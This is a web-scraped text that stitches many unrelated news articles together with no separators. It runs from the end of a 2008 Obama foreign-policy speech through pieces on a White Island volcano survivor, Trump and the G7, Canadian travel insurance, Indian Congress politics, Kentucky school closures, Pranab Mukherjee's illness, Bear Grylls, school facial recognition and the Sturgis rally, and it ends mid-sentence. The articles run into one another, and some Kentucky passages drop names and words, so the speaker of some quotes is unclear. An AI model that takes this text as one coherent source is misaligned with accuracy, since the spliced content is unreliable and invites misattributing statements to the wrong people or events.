government. Whats in the head of a scientist from Russia can be as lethal as a plutonium reactor in Yongbyon. Whats whispered in refugee camps in Chad can be as dangerous as a dictators bluster. These are the neglected landscapes of the 21st century, where technology and extremism empower individuals just as they give governments the ability to repress them; where the ancient divides of region and religion wash into the swift currents of globalization. Without American leadership, these threats will fester. With strong American leadership, we can shape them into opportunities to protect our common security and advance our common humanity for it has always been the genius of American leadership to find opportunity embedded in adversity; to focus on a source of fear, and confront it with hope. Here are just five ways in which a shift in strategy away from Iraq will help us address the critical challenges of the 21st century. First, in addressing global terror and violent extremism, we need the kind of comprehensive counter-terrorism strategy I called for last August. We need to strengthen security partnerships to take out terrorist networks, while investing in education and opportunity. We need to give our national security agencies the tools they need, while restoring the adherence to rule of law that helps us win the battle for hearts and minds. This means closing Guantanamo, restoring habeas corpus, and respecting civil liberties. And we need to support the forces of moderation in the Islamic world, so that alliances of convenience mature into friendships of conviction. Second, the threat of nuclear proliferation must serve as a call to action. I have worked across the aisle with Richard Lugar and Chuck Hagel in the Senate to secure dangerous weapons and loose nuclear materials. And as President, I will secure all loose nuclear materials around the world in my first term, seek deep cuts in global nuclear arsenals, strengthen the Nuclear Non-Proliferation Treaty, and once more seek a world without nuclear weapons. Third, the danger of weak and failed states risks spreading poverty and refugees; genocide and disease. Now is the time to meet the goal of cutting extreme poverty in half, in part by doubling our foreign assistance while demanding more from those who receive it. And now is the time to build the capacity of regional partners in conflict prevention, peacekeeping, and the reconstruction of ravaged societies. Fourth, the catastrophic consequences of the global climate crisis are matched by the promise of collective action. Now is the time for America to lead, because if we take action, others will act as well. Through our own cap and trade system and investments in new sources of energy, we can end our dependence on foreign oil and gas, and free ourselves from the tyranny of oil-rich states from Saudi Arabia to Russia to Venezuela. We can create millions of new jobs here in America. And we can secure our planet for our children and grandchildren. And fifth, Americas sluggish economy risks ceding our economic prominence to a rising China. Competition has always been a catalyst for American innovation, and now should be no different. We must invest in the education of our children, renew our leadership in science, and advance trade that is not just free, but fair for our workers. We must ensure that America is the economic engine in the 21st century just as we were in the 20th. I have no illusions that any of this will be easy. But I do know that we can only begin to make these changes when we end the mindset that focuses on Iraq and ignores the rest of the world. I also know that meeting these new threats will require a President who deploys the power of tough, principled diplomacy. It is time to present a country like Iran with a clear choice. If it abandons its nuclear program, support for terror, and threats to Israel, then Iran can rejoin the community of nations with all the benefits that entails. If not, Iran will face deeper isolation and steeper sanctions. When we engage directly, we will be in a stronger position to rally real international support for increased pressure. We will also engender more goodwill from the Iranian people. And make no mistake if and when we ever have to use military force against any country, we must exert the power of American diplomacy first. Once again, Senator Clinton, Senator McCain, and President Bush have made the same arguments against my position on diplomacy, as if reading from the same political playbook. They say Ill be penciling the worlds dictators on to my social calendar. But just as they are misrepresenting my position, they are mistaken in standing up for a policy of not talking that is not working. What Ive said is that we cannot seize opportunities to resolve our problems unless we create them. That is what Kennedy did with Khrushchev; what Nixon did with Mao; what Reagan did with Gorbachev. And that is what I will do as President of the United States. What I have talked about today is a new strategy, a new set of priorities for pursuing our interests in the 21st century. And as President, I will provide the tools required to implement this strategy. When President Truman put the policy of containment in place, he also invested in and organized our government to carry it out creating the National Security Council and the CIA, and founding NATO. Now, we must upgrade our tools of power to fit a new strategy. That starts with enhancing the finest military in the history of the world. As Commander in Chief, I will begin by giving a military overstretched by Iraq the support it needs. It is time to reduce the strain on our troops by completing the effort to increase our ground forces by 65,000 soldiers and 27,000 Marines, while ensuring the quality of our troops. In an age marked by technology, it is the people of our military our Soldiers, Sailors, Airmen, Marines, and Coast Guardsmen who bear the responsibility for complex missions. That is why we need to ensure adequate training and time home between deployments. That is why we need to expand our Special Forces. And that is why we must increase investments in capabilities like civil affairs and training foreign militaries. But we cannot place the burden of a new national security strategy on our military alone. We must integrate our diplomatic, information, economic and military power. That is why, as soon as I take office, I will call for a National Strategy and Security Review, to help determine a 21st Century inter-agency structure to integrate the elements of our national power. In addition, I will invest in our civilian capacity to operate alongside our troops in post-conflict zones and on humanitarian and stabilization missions. Instead of shuttering consulates in tough corners of the world, its time to grow our Foreign Service and to expand USAID. Instead of giving up on the determination of young people to serve, its time to double the size of our Peace Corps. Instead of letting people learn about America from enemy propaganda, its time to recruit, train, and send out into the world an Americas Voice Corps. And while we strengthen our own capacity, we must strengthen the capability of the international community. We honor NATOs sacrifice in Afghanistan, but we must strive to make it a larger and more nimble alliance. We must work with powers like Russia and China, but we must also speak up for human rights and democracy and we can start now by speaking out for the human rights and religious freedom of the people of Tibet. And while we are frustrated by the UN, we must invest in its capability to keep the peace, resolve disputes, monitor disarmament, and support good governance around the world and that depends on a more engaged United States. We are at a defining moment in our history. We can choose the path of unending war and unilateral action, and sap our strength and standing. We can choose the path of disengagement, and cede our leadership. Or, we can meet fear and danger head-on with hope and strength; with common purpose as a united America; and with common cause with old allies and new partners. What weve seen these last few years is what happens when the rigid ideology and dysfunctional politics of Washington is projected abroad. An ideology that does not fit the shape of the times cannot shape events in foreign countries. A politics that is based on fear and division does not allow us to call on the world to hope, and keeps us from coming together as one people, as one nation, to write the next great chapter in the American story. We also know that there is another face of America that we have seen these last five years. From down the road at Fort Bragg, our soldiers have gone abroad with a greater sense of common purpose than their leaders in Washington. They have learned the lessons of the 21st centurys wars. And they have shown a sense of service and selflessness that represents the very best of the American character. This must be the election when we stand up and say that we will serve them as well as they have served us. This must be the election when America comes together behind a common purpose on behalf of our security and our values. That is what we do as Americans. Its how we founded a republic based on freedom, and faced down fascism. Its how we defended democracy through a Cold War, and shined a light of hope bright enough to be seen in the darkest corners of the world. When America leads with principle and pragmatism, hope can triumph over fear. It is time, once again, for America to lead. To comment, to subscribe to or advertise in New Yorks leading Pan African weekly investigative newspaper, please call (212) 481-7745 or send a note to Milton@blackstarnews.com Also visit out sister publications Harlem Business News www.harlembusinessnews.com publications and The Groove Music magazine www.thegroovemag.com "Speaking Truth To Power." Stephanie Browitt (pictured before the volcanic eruption) is her mother Marie's only surviving child A survivor of the White Island volcano tragedy has credited her mother and dead sister's boyfriend for getting her through the worst of her recovery. Stephanie Browitt was permanently disfigured in the devastating blast, which took the lives of her younger sister Krystal and father Paul last December. The trio were touring White Island in New Zealand with a group from their cruise ship when a volcano erupted, killing 21. The 24-year-old has been open in sharing her recovery, which has included several skin grafts and amputations to her fingers. On Tuesday, Miss Browitt said her sister Krystal's boyfriend and 'soul mate' had helped her every step of the way in her recovery so far. 'Daniel was at the hospital as much as mum... He would stay for hours everyday and leave as late as 10pm sometimes,' she revealed. Miss Browitt said he was a constant source of laughter and amusement during her long stint in hospital, and did 'everything he could to make my stay bearable'. 'I know my sister would be so proud and so happy to know that Daniel was by my side every day... If I needed help with my food, cutting my meat or opening sauce packets, he would do it,' she said. 'The hospital would never provide me with enough tomato sauce or Vegemite, so hed buy me jars of it... He bought my speaker to play music. Miss Browitt's sister's boyfriend Daniel (left with Krystal) has been a pillar of strength for her since her sister and father died in the tragedy 'She wrote up a poster so that I could have it read to me every night as a reminder of her love and to give me strength,' Miss Browitt revealed, sharing a photograph of the touching note Stephanie Browitt was permanently disfigured in the devastating blast, which took the lives of her younger sister Krystal and father Paul (pictured together along with their mother) last December 'My mum and Daniel are the two people who kept me going when I didnt want to, who lifted my spirits when I was down and in pain.' Every night, her mother would visit the hospital and sit by her side, travelling the two hours each way from the family home to The Alfred, where she was treated. 'She wrote up a poster so that I could have it read to me every night as a reminder of her love and to give me strength,' Miss Browitt revealed, sharing a photograph of the touching note. 'You are my every breath, my strength, my heart, my beautiful angel. I love you with all that I am. You are my everything. Your smile lights up my entire world.' Miss Browitt said it was the positive energy of both her mother and Daniel that gave her the strength to 'keep fighting everyday to come home and be better'. Miss Browitt credited her mum for getting her through the darkest days of her recovery The trio were touring White Island, in New Zealand with a group from their cruise ship when a volcano erupted, killing 21 The 24-year-old suffered burns to 70 per cent of her body and had her fingers amputated. She now wears a full face mask to protect her mottled skin and has been cooped up in her mother's Craigieburn home in Melbourne for the last eight months. During her time in isolation, her home state was plunged into a second lockdown to stem the spread of COVID-19 . Last week, Miss Browitt urged people struggling in isolation to enjoy spending time with their loved ones. 'As someone who is grieving deeply and has essentially been in lockdown since early December... I truly believe that focusing on what you can't change is wasted energy that could be used elsewhere,' she told The Herald Sun. Victorian police have been battling with Melbournians to enforce Stage 4 lockdown. The 24-year-old (pictured after the volcano with her dog) urged people struggling in isolation to enjoy spending time with their loved ones White Island volcano survivor Stephanie Browitt (pictured) had her fingers amputated after the volcano Miss Browitt said it was okay for residents to feel upset and isolated as virus cases soar, but added that she would do anything to have her father and sister in lockdown with her. 'I feel as though people don't realise how precious time is and that you don't often get the chance to be with family like this.' While she has had essential surgeries cancelled as a result of the pandemic, she reminded Victorians that lockdown will pass with 'patience and perseverance'. Her mother Marie, whose immune system is compromised fighting autoimmune diseases multiple sclerosis and Lupus, believed COVID-19 could kill her. As the 24-year-old's only surviving parent, Miss Browitt would be forced into a nursing home if anything happened to her mother. The Victorian woman shared a picture after her skin graft surgery in July describing the agonising pain she has had to endure during her recovery Ms Browitt has to wear a protective suit on her skin after suffering third degree burns to 70 per cent of her body 'There are people out there ignoring laws designed to protect their own family's survival. I can't comprehend it,' Marie said. The heartbroken mother said the pair still cry for Paul and Krystal daily, but joined her daughter in encouraging Victorians to be proud that they can stay home and protect their loved ones. Krystal, 21, and Paul were killed along with 19 other people when the volcano erupted on December 9, 2019. When first responders arrived on the scene after the explosion, Mr Browitt urged them to save his girls before coming back for him. Krystal was tragically killed in the initial blast, while Mr Browitt died later in hospital. Stephanie (left with sister Krystal right) tragically lost her sister in the disaster and her father Paul Miss Browitt (pictured with her father Paul) said despite the time that has passed, she remembers the eruption like it was 'just yesterday' Miss Browitt spent seven months painstakingly rebuilding her life and recovering in hospital. She previously said despite the time that passed, she remembers the eruption like it was 'just yesterday'. 'Honestly, every time it's the ninth of each month I can feel my heart racing and my body tense as the memory of it floods back in my mind,' Ms Browitt wrote on Instagram. 'I get anxious. I hate it so much, it does not get easier. It just hurts more and more when I think about how much time has passed since I was last with my dad and sister.' She said she keeps wishing she could turn back time and at least have looked for her sister and father and sat with them during the aftermath. 'We're just picking up the pieces of our new lives and doing the best that we can do. 'I just want to thank everyone for your kindness, compassion and constant support. You guys manage to put a smile on my face, even if just for a second.' U.S. President Donald Trump said on Monday he is interested in hosting a Group of Seven summit in a "calmer atmosphere" after the November presidential election, and that he has not decided whether to invite Russian President Vladimir Putin. In May as the coronavirus pandemic was spreading, Trump postponed a G7 summit he had hoped to hold in June until September or later, and said he hoped to expand the list of invitees to include Australia, Russia, South Korea and India. "I'm much more inclined to do it sometime after the election. ... We could do it through teleconference or we could do it through a meeting," the Republican president said at White House news conference. Trump, who is trailing Democratic candidate Joe Biden in opinion polls ahead of the Nov. 3 election, said he had decided on the new time frame because it would provide a "better, calmer atmosphere to have a G7." Trump gave no specific date and said no invitations had been sent out. Asked whether he would invite Putin, Trump said: "I don't know but we have invited a number of people to the meeting. I certainly would invite him to the meeting." In a telephone conversation on June 1, Trump and Putin discussed "progress toward convening the G7," according to the White House. The G7 includes Germany, France, Britain, Italy, Japan and Canada in addition to the United States. Russia was expelled from the then so-called G8 group in 2014 after annexing the Crimea region from Ukraine. Also read: Hong Kong calls US sanctions as 'clowning actions'; says won't be frightened Once COVID-19 hit full force this spring, Toronto residents Michael Schneider and his wife, Debra, cancelled their plans to see their grandchildren in Calgary and Atlanta, Ga. While the Canada-U.S. border is still closed to non-essential travel, the Schneiders were able to reschedule their Calgary visit for late July. Along with their airline tickets, they made sure to purchase interprovincial travel insurance. We were concerned because of COVID, since were retired and no longer have insurance through work, said Schneider. They had purchased their tickets with a credit card, so Schneider first checked to see if the medical insurance the card provided included coverage for COVID-19. The bank that issued the card indicated it would, but Schneider wanted to be sure so he contacted the insurer directly and discovered that the bank was incorrect; COVID-19 wasnt covered. Interestingly, even prior to the pandemic, the Ontario Health Insurance Plan (OHIP) did not cover all out-of-province medical expenses, but it wasnt something most travellers considered. According to the Ontario governments website: When you show your valid Ontario health card in another Canadian province or territory, you will be covered for some of the same services youre covered for in Ontario including: physician services (e.g. visit to a walk-in clinic) services provided in a public hospital (e.g. emergency, diagnostic, laboratory). Any service or treatment you receive in another Canadian province or territory must be medically necessary for it to be covered by OHIP. In response to the Stars query about COVID-19 coverage, the Ministry of Health responded: In keeping with the requirements of the Canada Health Act, the Ontario Health Insurance Plan provides coverage for insured physician and insured hospital services when Ontario residents are temporarily in another province or territory or moving to another province or territory and serving an interprovincial waiting period before coverage takes effect. This coverage does not extend to other services such as ambulance transport, home care, prescription drugs, or additional services that may be funded when the patient is in Ontario. Reciprocal hospital billing arrangements exist between all provinces and territories to facilitate payment of these services. For insured physician services, all provinces and territories, except Quebec, participate in a reciprocal medical billing arrangement. If an insured Ontario resident is billed directly for an out-of-province hospital or physician service, they may submit the receipts to the ministry for consideration of reimbursement. Schneider and his wife decided to take no chances, especially in these uncertain times. They are members of the Canadian Automobile Association (CAA), so they looked into CAAs travel medical insurance and discovered that CAA offers a yearly plan for travel within Canada that includes COVID-19 coverage. Elliott Silverstein, the director of government relations for CAA South Central Ontario, confirmed that their emergency medical coverage plan includes coverage for COVID-19. Orion Travel Insurance underwrites CAA policies nationwide, so wherever in Canada you purchase one, you obtain the same coverage. People have the perception that when they leave the province, they are fully covered, Silverstein said. Ontarians are partially covered, but in the more serious cases, the extremes may not be covered by OHIP. Travel medical insurance should be part of your tool kit. Were trying to reinforce the idea that it isnt just for out-of-country travel. Trip-specific insurance is also available. The cost for any of these plans depends on length of travel and other factors. Were trying to make sure we provide products that benefit those who need or want to travel, Silverstein said. Interprovincial travel insurance is something that all insurers should promote, say the administrators at Blue Cross of Ontario and Blue Cross of Quebec, even if a vaccine for COVID-19 is developed. People think they are well covered by their provincial health-care programs, but a lot of areas are not covered at all, said Josiane Cousineau, vice-president of marketing and public relations for both Ontario Blue Cross and Quebec Blue Cross. The main issues that crop up out of province are ambulances, prescription drugs and specialists fees. Big bills can build up if youre hospitalized. Cousineau says the pandemic has provided a good opportunity to educate the people in the two provinces about the value of interprovincial travel insurance. During this crisis, we want to make sure that people understand the importance of being covered, she said. The Blue Cross emergency medical care plans include coverage for new cases of COVID-19 if and its a large if the insured hasnt had symptoms for the past three months for those 54 and under or for the past six months for those 55 and over. We want to remind people that they are taking a risk when travelling during the pandemic, Cousineau said. Of course, in addition to the health risks of travelling, its important for visitors to be sure theyre welcome. Many provinces are either forbidding outsiders from visiting or requiring them to self-isolate for 14 days upon arrival; be sure to determine the provincial rules and regulations before making any reservations or commitments. Despite having coverage, Schneider and his wife will be exhibiting caution when they board the airplane for Calgary. Well be wearing N95 masks just in case, he said. Congress leaders on Tuesday jostled to give credit to Rahul Gandhi in ending the rebellion in its Rajasthan unit that threatened the survival of its government, and urged him to once again assume the reins of the organisation. The renewed bid to persuade Rahul Gandhi to accept the responsibility came a day after Sonia Gandhi completed one year as an interim Congress president on Monday. The entire country witnessed as to how after 30 days now the political events in Rajasthan have come to a close. This was made possible on account of the vision and the belief of Rahul Gandhi in carrying all Congress leaders together bereft of any differences of opinion, partys chief spokesperson Randeep Singh Surjewala said, addressing a virtual news conference. It was due to his farsightedness and nature of carrying along everybody that we were able to resolve the differences. He was also helped by the cooperation and assistance given by Priyanka Gandhi Vadra, he said, praising both Rajasthan chief minister Ashok Gehlot and his former deputy Sachin Pilot. The crisis ended soon after Pilot met Rahul Gandhi on Monday afternoon. As a way out and to assuage the sentiments of all sides, the party then decided to form a three-member committee to address the grievances of the rebel legislators, including Pilot. In the evening, Pilot and 17 other legislators supporting him met Ahmed Patel, Priyanka Gandhi and KC Venugopal to seek an assurance that the issues raised by them would be resolved amicably. Asked if Rahul Gandhi will take up the Congress presidents post now, Surjewala said not 99% but 100% of Congress leaders and workers want him to assume the responsibility once again. Not because he is Rahul Gandhi but because he is the person who has always shown the courage and the mettle to take on the Modi government by pointing out and criticising its anti-people policies, he added. Referring to claims that Rahul Gandhi has refused to return as the party chief, Surjewala said, I dont think that anyone of us has recently spoken to him on the issue. When he resigned, he resigned on moral grounds and took moral responsibility (for the 2019 Lok Sabha election loss). What will happen in the future is not for me to comment upon. I am certain that good things will happen in future. He added the decision will be taken by Rahul Gandhi, the Congress Working Committee (CWC) and the party at an appropriate time. Senior Congress leader from Kerala, Ramesh Chennithala, also appealed to Rahul Gandhi to once again assume the party chiefs role to take on the Bharatiya Janata Party (BJP). We are passing through an unprecedented crisis and Madam Sonia Gandhi has been struggling despite her health issues to rudder these tempestuous times, Chennithala said in a letter to Rahul Gandhi. He alleged that the combine of Prime Minister Narendra Modi and home minister Amit Shah had subverted the basic principles of democracy, resulting in the fall of Congress governments in Karnataka and Madhya Pradesh. A similar attempt made in Rajasthan was, however, thwarted by Rahul Gandhis swift action, Chennithala said. To match the BJPs crooked and robustness, he said a young and dynamic leadership is needed at the helm of affairs. He added the nation had appreciated the highest democratic principles shown by him and it was time that he reconsidered the decision as the crucial assembly polls to Bihar and five other states were due in nine months. The grassroots level workers are eagerly waiting for Rahulji to take over the reins of the party. This will infuse unmatched enthusiasm among our cadres and will catapult our party towards recapturing the past glory, Chennithala said. Be it the pseudo-nationalism or the mismanagement of the Covid-19 pandemic, the high handedness of enacting the CAA (citizenship law), or the total failure of diplomacy on handling the India-China border crisis, the country heard only one dissent and that was from you, he added. Congress spokesperson Abhishek Manu Singhvi also lauded Rahul Gandhi and his team for ending the stalemate in Rajasthan. Today because of the leadership of Rahul Gandhi and the efforts of Priyanka Gandhi we have managed to keep one of our own Sachin Pilot with us. This is the democratic spirit of our party where there is room for dissent and debate, tweeted former union minister Jitin Prasada. In a related development, the party has informed the Election Commission (EC) that Sonia Gandhi will continue to hold the post till a new president is elected. As per rules, a political party has to inform the poll body about its internal elections. In its letter, the party told the EC the process of electing a new president could not be initiated due to the coronavirus and the nationwide lockdown enforced since March 25 to contain the pandemic. Soon after Sonia Gandhis appointment as the partys interim chief on August 10 last year, there were assembly elections in Maharashtra and Haryana in October-November followed by polls in Jharkhand and Delhi and then the Covid-19 struck. SHARE THIS ARTICLE ON By Bill Hughes Aug. 10, 2020 | 06:19 PM | WESTERN KENTUCKY Paducah Public Schools Ballard County Schools McCracken County Schools Marshall County Schools Calloway County Schools Lyon County Schools Livingston County Schools announced they will comply with the recommendation, so in-person classes will not begin on August 19. Students will still have their first day of school on August 12, utilizing home study classes. Murray Independent School District Superintendent Coy Samons announced Monday evening that he will recommend to the board of education that classes begin August 24 as scheduled, but using online learning. He said the district will provide more information as soon as possible. Area school districts have begun changing their plans for the new school year after Governor Andy Beshear's recommendation on Monday that schools not begin in-person classes until September 28. Some school districts immediately announced their plans while others are being more methodical.Beshear said sending thousands of kids back to school when the virus isn't under control isn't the right thing to do for students or faculty. This followed a KEA statement on Friday recommending that schools avoid in-person classes until the statewide positivity rate drops below 4 percent for 21 straight days.On Tuesday afternoon,Superintendent Donald Shively said he and others with the district have been in constant communication, and have requested and received local and regional data so they can analyze the local impact of the virus compared to statewide data.Shively said they are "exploring every option regarding how and when to start school." He said the school district will announce their specific plan no later than Monday, which is when the board of education is next scheduled to meet.Regardless of the teaching method, Shively said he is confident that teachers and staff are prepared.Board members and administrators atsaid Tuesday they are still are collecting information before making a decision about when in-person instruction might begin. They have met once to discuss it, and Kentucky superintendents were scheduled for a webcast with the state interim commissioner of education and the lieutenant governor on Tuesday afternoon.We understand that some of our neighboring districts already have announced their decisions, and we respect that, said Dr. Casey Allen, Ballards superintendent. Some of them are larger, some smaller, but we all have our own unique situations that factor into our decisions. We want to make sure that we do what is right for our students, staff, and families, and we will let everyone know as soon as that decision has been made.Any changes from the Aug. 26 first day for in-person classes that was approved at the July board meeting would require action from the Board of Education. The next regular meeting will be Monday, Aug. 17.Superintendent Steven Carter told West Kentucky Star Monday they will be use their Plan C - Virtual Distance Plan when the school year begins on August 24."While we're disappointed that we won't get to see our students in person, we're ready for this endeavor. We've been planning for this since last March and we have a solid foundation planned for all of our students and family," Carter said on Twitter.Prior to the governor's press conference, Carter said a recent staff poll showed nearly 100 percent of them wanted to return to in-person classes, but there were some safety concerns.Superintendent Trent Lovett said it's likely his district will follow the governor's advice.Lovett said, "At least we now know and we can plan in that direction as opposed to us coming to school for a couple of weeks or a week and then have an outbreak and then going the other direction."He said he believes in-person learning is "absolutely" the best for students, but he will touch base with school board members to find out how they feel so parents can be informed as quickly as possible. The board will have to give official approval at the August 20 meeting.Superintendent Tres Settle said the governor's announcement is, "a setback to months of planning to allow children to return to school, but will not deter us in our efforts to provide the very best education possible for our students."He will be consulting with board members about the district's options for beginning the year on a distance learning platform, while hopefully keeping the start date of August 24. He acknowledged the frustrations of parents who must constantly adapt their plans based on these decisions, and said the district will share information as quickly as possible.announced on social media that their school year will begin with non-traditional instruction on August 24. They advised parents to look for more information soon. Army's Research and Referral Hospital in Delhi on Tuesday (August 11) said in a press release that former President Pranab Mukherjee 'continues to remain critical'. It is to be noted that Mukherjee, 84, was admitted to Army's Research and Referral Hospital on Monday in a critical condition. Workup at the hospital revealed a large clot in Mukherjee's brain for which he underwent emergency life saving surgery. Post surgery the former President continues to remain critical on ventilatory support, said the hospital. The former president had also tested positive for coronavirus COVID-19 before surgery. On Monday (August 10), the former President had tweeted: "On a visit to the hospital for a separate procedure, I have tested positive for Covid-19 today. I request the people who came in contact with me in the last week, to please self isolate and get tested for Covid-19." On a visit to the hospital for a separate procedure, I have tested positive for COVID19 today. I request the people who came in contact with me in the last week, to please self isolate and get tested for COVID-19. #CitizenMukherjee Pranab Mukherjee (@CitiznMukherjee) August 10, 2020 Union Defence Minister Rajnath Singh also visited the R&R Hospital on Wednesday to enquire about the former president's health. Visited the Army Hospital (R&R) in New Delhi and met the Doctors to enquire about the health of former President Shri Pranab Mukherjee ji. I pray for his well being and speedy recovery. Rajnath Singh (@rajnathsingh) August 10, 2020 Former Congress president Rahul Gandhi and several other political leaders wished 84-year-old Mukherjee a speedy recovery. "Wishing former President Shri Pranab Mukherjee a speedy recovery," tweeted Rahul Gandhi. Mukherjee was a senior Congress leader before he was elected as India's 13th President. He served as President from July 2012 to 2017. Bear Grylls said he had tears in his eyes regularly while filming his new Amazon TV series. The adventurer hosts Worlds Toughest Race: Eco-Challenge Fiji, which sees 66 teams from 30 countries race non-stop for 11 days, 24 hours a day, across hundreds of miles of rugged Fijian terrain complete with mountains, jungles and oceans. Grylls told the PA News Agency: Its impossible not to feel that emotion, were so involved with these races, the preparation beforehand, their training and just what theyve given to be on that start line. Then once the race stars you know Im right amongst it all the time with them but also with their support crews and what they all go through is truly inspirational. When you see the tears and what people are giving to just endure and just hang on and to keep moving. When you see blood being poured out of boots and blisters, and yet relentless positivity and determination to hold the weakened member of the team and to still go on, it was really mind blowing at times. I had tears in my eyes regularly on Worlds Toughest Race. The 10-episode adventure series, which launches on Amazon Prime video on August 14, was filmed last year and features 330 competitors who form teams of five, including four racers and an assistant crew member. They cover 671 kilometres of terrain in a test of physical and mental endurance, in a bid to cross the finish line. The rebooted series is produced by Mark Burnett, who is responsible for the US versions of The Apprentice and Shark Tank. Speaking from north Wales, Grylls said the series was a reminder for me in an era when the world desperately needs inspiration. Story continues Bear Grylls hosts the new Amazon Prime video series. He added: It was a reminder of the power of friendships and what you can do together and when you help each other and when youre honest and vulnerable with each other. But also a reminder of the power of just the human spirit, that resilience, that fire inside of all of us that it can conquer everything when everything is against you and you think the human body is incapable of it, mind and body and spirit is what really counts, that will always count more than the outer muscles, that fire and spirit can conquer all. Worlds Toughest Race: Eco-Challenge Fiji launches on Amazon Prime Video on August 14 Credit: CC0 Public Domain Facial recognition technology should be banned for use in schools, according to a new study by the University of Michigan's Ford School of Public Policy that cites the heightened risk of racism and potential for privacy erosion. The study by the Ford School's Science, Technology, and Public Policy Program comes at a time when debates over returning to in-person school in the face of the COVID-19 pandemic are consuming administrators and teachers, who are deciding which technologies will best serve public health, educational and privacy requirements. Among the concerns is facial recognition, which could be used to monitor student attendance and behavior as well as contact tracing. But the report argues this technology will "exacerbate racism," an issue of particular concern as the nation confronts structural inequality and discrimination. In the pre-COVID-19 debate about the technology, deployment of facial recognition was seen as a potential panacea to assist with security measures in the aftermath of school shootings. Schools also have begun using it to track students and automate attendance records. Globally, facial recognition technology represents a $3.2 billion business. The study, "Cameras in the Classroom," led by Shobita Parthasarathy, asserts that not only is the technology not suited to security purposes, but it also creates a web of serious problems beyond racial discrimination, including normalizing surveillance and eroding privacy, institutionalizing inaccuracy and creating false data on school life, commodifying data and marginalizing nonconforming students. "We have focused on facial recognition in schools because it is not yet widespread and because it will impact particularly vulnerable populations. The research shows that prematurely deploying the technology without understanding its implications would be unethical and dangerous," said Parthasarathy, STPP director and professor of public policy. The study is part of STPP's Technology Assessment Project, which focuses on emerging technologies and seeks to influence public and policy debate with interdisciplinary, evidence-based analysis. The study used an analogical case comparison method, looking specifically at previous uses of security technology like CCTV cameras and metal detectors, as well as biometric technologies, to anticipate the implications of facial recognition. The research team also included one undergraduate and one graduate student from the Ford school. Currently, there are no national laws regulating facial recognition technology anywhere in the world. "Some people say, 'We can't regulate a technology until we see what it can do.' But looking at technology that has already been implemented, we can predict the potential social, economic and political impacts, and surface the unintended consequences," said Molly Kleinman, STPP's program manager. Though the study recommends a complete ban on the technology's use, it concludes with a set of 15 policy recommendations for those at the national, state and school district levels who may be considering using it, as well as a set of sample questions for stakeholders, such as parents and students, to consider as they evaluate its use. Explore further NY lawmakers vote to pause facial recognition in schools More information: Galligan et al., Cameras in the Classroom: Facial Recognition Technology in Schools (2020). Galligan et al., Cameras in the Classroom: Facial Recognition Technology in Schools (2020). stpp.fordschool.umich.edu/technology-assessment Derek Sloan wont win this months Conservative Party leadership, but the MP for HastingsLennox and Addington will be influential in deciding who does become the new leader of the opposition. The darling of social conservatives and the Christian right, hes positioned himself as an almost Trump-like figure and was rightly criticized when he questioned the national loyalties of Canadas chief public health officer, Dr. Theresa Tam. Equally worrying is his stance on the LGBTQ2 community and other social issues. The timing is sharp because the new leader will succeed Andrew Scheer, who managed to tie himself up in Gordian knots of unease as he tried to hide his orthodox Catholicism when questioned why hed made yet another clumsy comment about homosexuality. An astute politician may have been able to deflect more effectively. Thing is, why should they? Freedom of religion is fundamental to our culture and body politic and rather than ask Derek Sloan to be silent we should simply insist that he be clear and straightforward. Hes a devoted member of the Seventh Day Adventist Church, the first from that denomination to be elected a Canadian MP. Its a Protestant denomination and most of its beliefs are found elsewhere within evangelicalism. Unlike other churches, it observes a Saturday Sabbath and places a particularly high stress on the imminent Second Coming of Christ. There are perhaps 25 million followers worldwide, fewer than 60,000 of whom are in Canada. The moral teaching of the organization is in many ways loving and charitable, but, just as with most on the conservative wing of Christianity, its also often literalistic and unbending. Also like other churches, not all of its members embrace all of its views; but Derek Sloan certainly seems to do so. On abortion, for example, Adventists state, In Gods original plan every pregnancy should be the result of the expression of love between a man and a woman committed to each other in marriage, but unfortunately, since the entrance of sin, Satan has made intentional efforts to mar the image of God by defacing all of Gods gifts including the gift of procreation. Abortion is out of harmony with Gods plan for human life. On sexuality, sexual intimacy belongs only within the marital relationship of a man and a woman. The Bible makes no accommodation for homosexual activity or relationships. Sexual acts outside the circle of a heterosexual marriage are forbidden. It continues, Seventh-day Adventists are opposed to homosexual practices and relationships. On trans rights, Those who experience incongruity between their biological sex and gender identity are encouraged to follow biblical principles in dealing with their distress. They are invited to reflect on Gods original plan of purity and sexual fidelity. And, With all believers, transgender people are encouraged to wait on God and are offered the fullness of divine compassion, peace, and grace in anticipation of Christs soon return. Id be delighted to debate theology with them because my studies have led me to a radically different place. But what does this say about someone who aspires to lead all Canadians? Sloan told an Adventist magazine that he became an MP because I thought that God was leading me, and that God had placed me in the riding at an opportune time. To try to forbid people from the public square due to their religiosity tarnishes the democratic ideal, and, even if desirable, simply wouldnt work. The U.S. has a formal separation of church and state, yet is one of the most religiously influenced political systems in the world. The answer, surely, is for simple truth. Politicians should declare their beliefs, be respectfully challenged but not ridiculed, and then held accountable democratically. Catholic Paul Martin was exemplary when as prime minister he presented a bill legalizing same-sex marriage. The bishop of Calgary said angrily that, Youre either with the Church, or you are not. Martin replied, It is the right thing to do. Enough of media skirting the issue and asking about conclusions rather than reasons, and no more of politicians performing the Scheer squirm. As Matthews Gospel has it, All you need to say is simply Yes or No. There, Ive blurred the lines of faith. Didnt hurt a bit. Michael Coren is a Toronto-based writer and contributing columnist to the Stars Opinion section and iPolitics. Twitter: @michaelcoren Trump 2020 swag is flying off the shelves at this year's Sturgis Motorcycle Rally. Jim Urquhart/Insider Sturgis Motorcycle Rally attendees are packing bars, wrestling in bikinis, and scoffing at the few who wear face masks. Some attendees have taken a cavalier approach to the deadly virus, which has engulfed the United States, killing more than 163,000 people as of August 10. One recovering coronavirus victim at the rally told Insider that he expects an uptick in cases after the event. Visit Insider's homepage for more stories. Bill Converse had never attended the Sturgis Motorcycle Rally before, but this year he drove 29 hours from Georgia to sell his conservative pro-second amendment novelty T-shirts at the famous annual South Dakota event. The 10-day rally brought hundreds of thousands of bikers to the small city of Sturgis, in the middle of a pandemic. While more than half of the local residents wanted the event to be canceled, city officials knew people would show up anyway and did their best to prepare. Related video: Risk ranking of everyday activities for COVID-19 Since Friday, visitors have packed into bars, used communal Slip n Slides, and for the most part flouted advice from local officials to wear masks. Between the event kickoff Friday and early Monday morning, there were nearly 90 drug arrests and 286 total citations within city limits, according to statistics provided by the South Dakota state highway patrol. "It's like COVID does not exist here, to be honest with you," Converse told Insider Monday. Converse said he enjoys the "refreshing" camaraderie at the rally, where attendees "love our country, love our flag, and love our president." "From my perspective, I feel that Sturgis is like America used to be," he said. "I could go up to anyone around me, I've never met them before, and say 'Hey, I need an extension cord, you got any?' and they'll fall over to get something for me. It's fantastic." Many Sturgis Rally 